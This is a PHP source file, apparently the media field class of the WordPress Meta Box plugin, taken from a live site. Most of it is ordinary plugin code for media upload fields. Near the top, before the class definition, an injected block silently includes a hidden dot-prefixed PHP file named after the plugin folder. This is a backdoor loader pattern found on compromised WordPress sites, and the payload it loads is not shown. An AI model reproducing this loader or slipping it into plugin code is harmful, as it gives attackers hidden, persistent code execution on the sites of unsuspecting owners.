balmet.com

media.php (7400B)

---

 <?php
 /**
  * Media field class which users WordPress media popup to upload and select files.
  *
  * @package Meta Box
  */
 
 /**
  * The media field class.
  */
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 class RWMB_Media_Field extends RWMB_File_Field {
 	/**
 	 * Enqueue scripts and styles.
 	 */
 	public static function admin_enqueue_scripts() {
 		parent::admin_enqueue_scripts();
 
 		wp_enqueue_media();
 		if ( ! is_admin() ) {
 			wp_register_script( 'media-grid', includes_url( 'js/media-grid.min.js' ), array( 'media-editor' ), '4.9.7', true );
 		}
 		wp_enqueue_style( 'rwmb-media', RWMB_CSS_URL . 'media.css', array(), RWMB_VER );
 		wp_enqueue_script( 'rwmb-media', RWMB_JS_URL . 'media.js', array( 'jquery-ui-sortable', 'underscore', 'backbone', 'media-grid' ), RWMB_VER, true );
 
 		RWMB_Helpers_Field::localize_script_once(
 			'rwmb-media',
 			'i18nRwmbMedia',
 			array(
 				'add'                => apply_filters( 'rwmb_media_add_string', _x( '+ Add Media', 'media', 'meta-box' ) ),
 				'single'             => apply_filters( 'rwmb_media_single_files_string', _x( ' file', 'media', 'meta-box' ) ),
 				'multiple'           => apply_filters( 'rwmb_media_multiple_files_string', _x( ' files', 'media', 'meta-box' ) ),
 				'remove'             => apply_filters( 'rwmb_media_remove_string', _x( 'Remove', 'media', 'meta-box' ) ),
 				'edit'               => apply_filters( 'rwmb_media_edit_string', _x( 'Edit', 'media', 'meta-box' ) ),
 				'view'               => apply_filters( 'rwmb_media_view_string', _x( 'View', 'media', 'meta-box' ) ),
 				'noTitle'            => _x( 'No Title', 'media', 'meta-box' ),
 				'loadingUrl'         => admin_url( 'images/spinner.gif' ),
 				'extensions'         => self::get_mime_extensions(),
 				'select'             => apply_filters( 'rwmb_media_select_string', _x( 'Select Files', 'media', 'meta-box' ) ),
 				'or'                 => apply_filters( 'rwmb_media_or_string', _x( 'or', 'media', 'meta-box' ) ),
 				'uploadInstructions' => apply_filters( 'rwmb_media_upload_instructions_string', _x( 'Drop files here to upload', 'media', 'meta-box' ) ),
 			)
 		);
 	}
 
 	/**
 	 * Add actions.
 	 */
 	public static function add_actions() {
 		$args  = func_get_args();
 		$field = reset( $args );
 		add_action( 'print_media_templates', array( RWMB_Helpers_Field::get_class( $field ), 'print_templates' ) );
 	}
 
 	/**
 	 * Get meta value.
 	 *
 	 * @param int   $post_id Post ID.
 	 * @param bool  $saved   Whether the meta box is saved at least once.
 	 * @param array $field   Field parameters.
 	 *
 	 * @return mixed
 	 */
 	public static function meta( $post_id, $saved, $field ) {
 		$meta = parent::meta( $post_id, $saved, $field );
 
 		/*
 		 * Update meta cache for all attachments, preparing for getting data for rendering in JS.
 		 * This reduces the number of queries for updating all attachments' meta.
 		 * @see get_attributes()
 		 */
 		$ids = (array) $meta;
 		if ( $field['clone'] ) {
 			foreach ( $ids as &$value ) {
 				$value = (array) $value;
 			}
 			$ids = call_user_func_array( 'array_merge', $ids );
 		}
 		update_meta_cache( 'post', $ids );
 
 		return $meta;
 	}
 
 	/**
 	 * Get field HTML.
 	 *
 	 * @param mixed $meta  Meta value.
 	 * @param array $field Field parameters.
 	 *
 	 * @return string
 	 */
 	public static function html( $meta, $field ) {
 		$attributes = self::call( 'get_attributes', $field, $meta );
 
 		$html = sprintf(
 			'<input %s data-options="%s">',
 			self::render_attributes( $attributes ),
 			esc_attr( wp_json_encode( $field['js_options'] ) )
 		);
 
 		return $html;
 	}
 
 	/**
 	 * Normalize parameters for field.
 	 *
 	 * @param array $field Field parameters.
 	 *
 	 * @return array
 	 */
 	public static function normalize( $field ) {
 		$field = parent::normalize( $field );
 		$field = wp_parse_args(
 			$field,
 			array(
 				'std'              => array(),
 				'mime_type'        => '',
 				'max_file_uploads' => 0,
 				'force_delete'     => false,
 				'max_status'       => true,
 				'js_options'       => array(),
 				'add_to'           => 'end',
 			)
 		);
 
 		$field['js_options'] = wp_parse_args(
 			$field['js_options'],
 			array(
 				'mimeType'    => $field['mime_type'],
 				'maxFiles'    => $field['max_file_uploads'],
 				'forceDelete' => $field['force_delete'] ? true : false,
 				'maxStatus'   => $field['max_status'],
 				'addTo'       => $field['add_to'],
 			)
 		);
 
 		$field['multiple'] = true;
 
 		return $field;
 	}
 
 	/**
 	 * Get the attributes for a field.
 	 *
 	 * @param array $field Field parameters.
 	 * @param mixed $value Meta value.
 	 *
 	 * @return array
 	 */
 	public static function get_attributes( $field, $value = null ) {
 		$value = (array) $value;
 
 		$attributes           = parent::get_attributes( $field, $value );
 		$attributes['type']   = 'hidden';
 		$attributes['name']   = $field['clone'] ? str_replace( '[]', '', $attributes['name'] ) : $attributes['name'];
 		$attributes['id']     = false;
 		$attributes['value']  = implode( ',', $value );
 		$attributes['class'] .= ' rwmb-media';
 
 		// Add attachment details.
 		$attachments = array();
 		foreach ( $value as $media ) {
 			$media = wp_prepare_attachment_for_js( $media );
 			// Some themes/plugins add HTML, shortcodes to "compat" attrbute which break JSON validity.
 			if ( isset( $media['compat'] ) ) {
 				unset( $media['compat'] );
 			}
 			if ( ! empty( $media ) ) {
 				$attachments[] = $media;
 			}
 		}
 		$attachments                    = array_values( $attachments );
 		$attributes['data-attachments'] = json_encode( $attachments );
 
 		return $attributes;
 	}
 
 	/**
 	 * Get supported mime extensions.
 	 *
 	 * @return array
 	 */
 	protected static function get_mime_extensions() {
 		$mime_types = wp_get_mime_types();
 		$extensions = array();
 		foreach ( $mime_types as $ext => $mime ) {
 			$ext                 = explode( '|', $ext );
 			$extensions[ $mime ] = $ext;
 
 			$mime_parts = explode( '/', $mime );
 			if ( empty( $extensions[ $mime_parts[0] ] ) ) {
 				$extensions[ $mime_parts[0] ] = array();
 			}
 			$extensions[ $mime_parts[0] ]        = array_merge( $extensions[ $mime_parts[0] ], $ext );
 			$extensions[ $mime_parts[0] . '/*' ] = $extensions[ $mime_parts[0] ];
 		}
 
 		return $extensions;
 	}
 
 	/**
 	 * Get meta values to save.
 	 *
 	 * @param mixed $new     The submitted meta value.
 	 * @param mixed $old     The existing meta value.
 	 * @param int   $post_id The post ID.
 	 * @param array $field   The field parameters.
 	 *
 	 * @return array|mixed
 	 */
 	public static function value( $new, $old, $post_id, $field ) {
 		$new = RWMB_Helpers_Array::from_csv( $new );
 		return array_filter( array_unique( array_map( 'absint', $new ) ) );
 	}
 
 	/**
 	 * Save meta value.
 	 *
 	 * @param mixed $new     The submitted meta value.
 	 * @param mixed $old     The existing meta value.
 	 * @param int   $post_id The post ID.
 	 * @param array $field   The field parameters.
 	 */
 	public static function save( $new, $old, $post_id, $field ) {
 		if ( empty( $field['id'] ) || ! $field['save_field'] ) {
 			return;
 		}
 		$storage = $field['storage'];
 		$storage->delete( $post_id, $field['id'] );
 		parent::save( $new, array(), $post_id, $field );
 	}
 
 	/**
 	 * Template for media item.
 	 */
 	public static function print_templates() {
 		require_once RWMB_INC_DIR . 'templates/media.php';
 	}
 }